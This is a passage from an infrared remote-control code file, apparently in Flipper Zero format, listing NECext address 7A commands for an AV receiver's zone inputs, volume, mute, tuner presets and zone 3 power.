00 00 00 -command: D8 00 00 00 -# -name: Z2:_INPUT_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: TV/DBS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_INPUT_DTV/CB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: INPUT:_D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2:_DTV/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2:_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: IN_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_IN_D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: ZONE_2_TV/DBS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_IN:_D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: INPUT:_D-TV_/_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: INP_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: ZONE_2_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: ZONE2_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: ZONE_2:_INPUT_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2:_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2:_INP_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D9 00 00 00 -# -name: Z2_VOL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2:_VOL_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: ZONE_2_VOL._UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2:_VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: ZONE_2:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: ZONE_2_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2_VOLUME_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DA 00 00 00 -# -name: Z2_VOL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: Z2:_VOL_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: ZONE_2_VOL._DWON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: Z2_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: Z2:_VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: ZONE_2:_VOLUME_DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: ZONE_2_VOL._DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: ZONE_2_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: Z2:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: Z2:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DB 00 00 00 -# -name: Z2_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: Z2:_MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: Z2_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: Z2:_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: ZONE_2_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: ZONE_2:_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: Z2:_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: ZONE2:_MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: Z2_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DC 00 00 00 -# -name: DSP_DIRECT_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP_PURE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP_TOG:_PURE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP_PUREDIR_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: PURE_DIRECT:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DIRECT_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP_TOG_PURE_DIR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: PURE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP:_PURE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP:_STEREO_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP_PURE_DIRECT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: PROGRAM_PURE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: DSP:_T_PURE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: MZ:_PURE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DD 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: MENU:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: MENU_CURSOR_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: GUI:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: MENU:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: SETUP_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: SOURCE:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: YENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: SET_MENU:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: SET_MENU_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: MZ_SOURCE_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: MZ:_SET_CURS_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: GUI:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: TUNER_PRESET_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER_PAGE_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER_BANK_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER:_PG_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER_PRESETPAGEA -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER:_PRESET_PG_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER:_CATAGORY_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER:_PRESET_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER:_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER:_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: TUNER_PRESET_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER_PAGE_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER_BANK_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER:_PG_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER_PRESETPAGEB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER:_PRESET_PG_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER:_CATAGORY_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER:_PRESET_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER:_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER:_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: TUNER_PRESET_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER_PAGE_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER_BANK_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER:_PG_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER_PRESETPAGEC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER:_PRESET_PG_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER:_CATAGORY_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER:_PRESET_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER:_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER:_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: TUNER_PRESET_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER_PAGE_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER_BANK_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER:_PG_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER_PRESETPAGED -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER:_PRESET_PG_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER:_CATAGORY_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER:_PRESET_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER:_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER:_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: TUNER_PRESET_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER_PAGE_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER_BANK_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER:_PG_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER_PRESETPAGEE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER:_PRESET_PG_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER:_CATAGORY_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER:_PRESET_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER:_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER:_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER:_PRES_#_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER:_PRESET_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER:_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER_NUM_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER:_PRESET_#_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUN_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER:_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER:_PRES_#_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER:_PRESET_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER:_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER_NUM_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER:_PRESET_#_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUN_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER:_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER:_PRES_#_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER:_PRESET_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER:_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER_NUM_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER:_PRESET_#_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUN_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER:_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER:_PRES_#_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER:_PRESET_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER:_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER_NUM_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER:_PRESET_#_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUN_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER:_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER:_PRES_#_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER:_PRESET_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER:_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER_NUM_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER:_PRESET_#_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUN_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER:_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER:_PRES_#_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER:_PRESET_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: PRESET_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER:_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER_NUM_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER:_PRESET_#_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUN_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER:_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER:_PRES_#_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER:_PRESET_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: PRESET_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER:_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER_NUM_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER:_PRESET_#_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUN_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER:_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER:_PRES_#_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER:_PRESET_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: PRESET_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER:_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER_NUM_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER:_PRESET_#_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUN_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: TUNER:_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 -# -name: Z3:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: ED 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: ED 00 00 00 -# -name: Z3_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: ED 00 00 00 -# -name: Z3:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: ED 00 00 00 -# -name: Z3:_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: POWER_OFF_(STANDBY) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: Z3_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: POWER_OFF/STNDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: Z3:_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: Z3:_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EE 00 00 00 -# -name: Z3:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: IN_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3_IN_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3_IN:_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3:_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3:_INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F0 00 00 00 -# -name: Z3:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: IN_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3_IN_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3_IN:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: INP_PHONO -type: 